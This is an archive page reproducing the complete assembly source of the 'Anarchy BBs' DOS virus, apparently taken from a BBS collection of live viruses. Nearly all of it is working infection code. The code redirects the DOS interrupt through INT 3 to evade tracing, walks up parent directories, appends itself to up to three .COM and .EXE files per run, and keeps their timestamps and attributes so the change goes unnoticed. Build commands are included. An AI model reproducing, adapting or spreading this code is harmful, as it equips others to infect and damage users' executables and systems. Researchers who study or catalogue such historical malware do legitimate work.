home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / anarchy.asm < prev    next >
Assembly Source File  |  1993-08-26  |  8KB  |  313 lines

  1. ;File: ANARCHY.ASM
  2. ; Anarchy BBs by The Anarchist
  3. ; Call The Anarchy BBs at (215)926-9097   14,400 baud v32/v42               
  4.  
  5. id              =       'DA'
  6.                 
  7.         .model  tiny
  8.         .code   
  9.                 
  10. ; Assemble with:
  11. ; TASM /m3 filename.ASM
  12. ; TLINK /t filename.OBJ
  13.         org     0100h
  14.                 
  15. carrier:
  16.         db      0E9h,0,0                
  17.                 
  18. start:
  19.         mov     bp, sp
  20.         int     0003h
  21. next:
  22.         mov     bp, ss:[bp-6]
  23.         sub     bp, offset next
  24.                 
  25.         push    ds
  26.         push    es
  27.                 
  28.         mov     ax, 3524h
  29.         int     0021h
  30.         push    es
  31.         push    bx
  32.                 
  33.         lea     dx, [bp+INT24]          ; ASSumes ds=cs
  34.         mov     ax, 2524h
  35.         int     0021h
  36.                 
  37.         push    cs
  38.         pop     es
  39.                 
  40.                 
  41.         push    cs
  42.         pop     ds
  43.                 
  44.         push    cs
  45.         pop     es
  46.                 
  47.         mov     dl, 0000h               
  48.         lea     si, [bp+offset origdir+1]
  49.         mov     ah, 0047h               
  50.         int     0021h
  51.                 
  52.         mov     ah, 001Ah               
  53.         lea     dx, [bp+offset newDTA]
  54.         int     0021h
  55.                 
  56.         push    ds
  57.         push    es
  58.                 
  59.         mov     ax, 3521h               
  60.         int     0021h
  61.                 
  62.         push    es
  63.         pop     ds
  64.         xchg    bx, dx
  65.         mov     ax, 2503h               
  66.         int     0021h
  67.                 
  68.         pop     es
  69.         pop     ds
  70.         lea     si, [bp+offset origCSIP]
  71.         lea     di, [bp+offset origCSIP2]
  72.         movsw   
  73.         movsw   
  74.         movsw   
  75.         movsw   
  76.                 
  77.         mov     byte ptr [bp+numinfect], 0000h
  78. traverse_loop:
  79.         lea     dx, [bp+offset COMmask]
  80.         call    infect
  81.         lea     dx, [bp+offset EXEmask]
  82.         call    infect
  83.         cmp     [bp+numinfect], 0003h
  84.         jae     exit_traverse           
  85.                 
  86.         mov     ah, 003Bh               
  87.         lea     dx, [bp+offset dot_dot] 
  88.         int     0003h
  89.         jnc     traverse_loop           
  90.                 
  91. exit_traverse:
  92.                 
  93.         lea     si, [bp+offset origdir]
  94.         mov     byte ptr [si], '\'
  95.         xchg    dx, si
  96.         mov     ah, 003Bh               
  97.         int     0003h
  98.                 
  99.         pop     dx
  100.         pop     ds
  101.         mov     ax, 2524h
  102.         int     0003h
  103.                 
  104.         pop     ds
  105.         pop     es
  106.                 
  107.         mov     dx, 0080h               
  108.         mov     ah, 001Ah               
  109.         int     0003h
  110.                 
  111.         cmp     sp, id
  112.         je      restore_EXE
  113. restore_COM:
  114.         mov     di, 0100h
  115.         push    di
  116.         lea     si, [bp+offset old3_2]
  117.         movsb   
  118.         movsb   
  119.         movsb   
  120. return:
  121.         ret     
  122.                 
  123. restore_EXE:
  124.         mov     ax, ds
  125.         add     ax, 0010h
  126.         add     cs:[bp+word ptr origCSIP2+2], ax
  127.         add     ax, cs:[bp+word ptr origSPSS2]
  128.         cli     
  129.         mov     ss, ax
  130.         mov     sp, cs:[bp+word ptr origSPSS2+2]
  131.         sti     
  132.         db      00EAh
  133. origCSIP2       db      ?
  134. old3_2          db      ?,?,?
  135. origSPSS2       dd      ?
  136.                 
  137. origCSIP        db      ?
  138. old3            db      0cdh,20h,0
  139. origSPSS        dd      ?
  140.                 
  141. INT24:
  142.         mov     al, 0003h
  143.         iret    
  144.                 
  145. infect:
  146.         mov     ah, 004Eh               
  147.         mov     cx, 0007h               
  148. findfirstnext:
  149.         int     0003h
  150.         jc      return
  151.         mov     ax, 4300h
  152.         lea     dx, [bp+newDTA+30]
  153.         int     0003h
  154.         jc      return
  155.         push    cx
  156.         push    dx
  157.                 
  158.         mov     ax, 4301h               
  159.         push    ax                      
  160.         xor     cx, cx
  161.         int     0003h
  162.                 
  163.         lea     dx, [bp+newDTA+30]
  164.         mov     ax, 3D02h
  165.         int     0003h
  166.         mov     bx, ax                  
  167.                 
  168.         mov     ax, 5700h               
  169.         int     0003h
  170.         push    cx
  171.         push    dx
  172.                 
  173.         lea     dx, [bp+offset readbuffer]
  174.         mov     cx, 001Ah
  175.         mov     ah, 003Fh
  176.         int     0003h
  177.                 
  178.         xor     dx, dx
  179.         mov     ax, 4202h
  180.         xor     cx, cx
  181.         int     0003h
  182.                 
  183.         cmp     word ptr [bp+offset readbuffer], 'ZM'
  184.         jz      checkEXE
  185.                 
  186.         mov     cx, word ptr [bp+offset readbuffer+1] 
  187.         add     cx, heap-start+3        
  188.         cmp     ax, cx                  
  189.         jz      jmp_close
  190.                 
  191.         cmp     ax, 65535-(endheap-start) 
  192.         ja      jmp_close               
  193.                 
  194.         lea     si, [bp+offset readbuffer]
  195.         lea     di, [bp+offset old3]
  196.         movsw   
  197.         movsb   
  198.                 
  199.         mov     cx, 0003h
  200.         sub     ax, cx
  201.         mov     word ptr [bp+offset readbuffer+1], ax
  202.         mov     dl, 00E9h
  203.         mov     byte ptr [bp+offset readbuffer], dl
  204.         jmp     short continue_infect
  205. checkEXE:
  206.         cmp     word ptr [bp+offset readbuffer+10h], id
  207.         jnz     skipp
  208. jmp_close:
  209.         jmp     close
  210. skipp:
  211.                 
  212.         lea     si, [bp+readbuffer+14h]
  213.         lea     di, [bp+origCSIP]
  214.         movsw                           
  215.         movsw   
  216.                 
  217.         sub     si, 000Ah
  218.         movsw                           
  219.         movsw   
  220.                 
  221.         push    bx                      
  222.         mov     bx, word ptr [bp+readbuffer+8] 
  223.         mov     cl, 0004h
  224.         shl     bx, cl
  225.                 
  226.         push    dx                      
  227.         push    ax                      
  228.                 
  229.         sub     ax, bx                  
  230.         sbb     dx, 0000h               
  231.                 
  232.         mov     cx, 0010h
  233.         div     cx                      
  234.                 
  235.         mov     word ptr [bp+readbuffer+16h], ax 
  236.         mov     word ptr [bp+readbuffer+14h], dx 
  237.         mov     word ptr [bp+readbuffer+0Eh], ax 
  238.         mov     word ptr [bp+readbuffer+10h], id 
  239.                 
  240.         pop     ax                      
  241.         pop     dx
  242.                 
  243.         add     ax, heap-start
  244.         adc     dx, 0000h
  245.                 
  246.         mov     cl, 0009h
  247.         push    ax
  248.         shr     ax, cl
  249.         ror     dx, cl
  250.         stc     
  251.         adc     dx, ax
  252.         pop     ax
  253.         and     ah, 0001h
  254.                 
  255.         mov     word ptr [bp+readbuffer+2], ax 
  256.         mov     word ptr [bp+readbuffer+4], dx 
  257.                 
  258.         pop     bx                      
  259.         mov     cx, 001Ah
  260.                 
  261. continue_infect:
  262.         push    cx                      
  263.                 
  264.         mov     cx, heap-start
  265.         mov     ah, 0040h               
  266.         lea     dx, [bp+offset start]
  267.         int     0003h
  268.                 
  269.         xor     cx, cx
  270.         mov     ax, 4200h
  271.         xor     dx, dx
  272.         int     0003h
  273.                 
  274.                 
  275.         lea     dx, [bp+offset readbuffer]
  276.         mov     ah, 0040h
  277.         pop     cx
  278.         int     0003h
  279.                 
  280.         inc     [bp+numinfect]
  281.                 
  282. close:
  283.         mov     ax, 5701h               
  284.         pop     dx
  285.         pop     cx
  286.         int     0003h
  287.                 
  288.         mov     ah, 003Eh
  289.         int     0003h
  290.                 
  291.         pop     ax                      
  292.         pop     dx                      
  293.         pop     cx                      
  294.         int     0003h
  295.                 
  296.         mov     ah, 004Fh               
  297.         jmp     findfirstnext
  298.                 
  299. signature       db      '[The Anarchist]',0     
  300. creator         db      'The Anarchist',0
  301. virusname       db      '[Anarchy BBs]',0
  302. EXEmask         db      '*.EXE',0
  303. COMmask         db      '*.COM',0
  304. dot_dot         db      '..',0
  305.                 
  306. heap:
  307. newDTA          db      43 dup (?)
  308. origdir         db      65 dup (?)
  309. numinfect       db      ?
  310. readbuffer      db      1ah dup (?)
  311. endheap:
  312.         end     carrier
  313.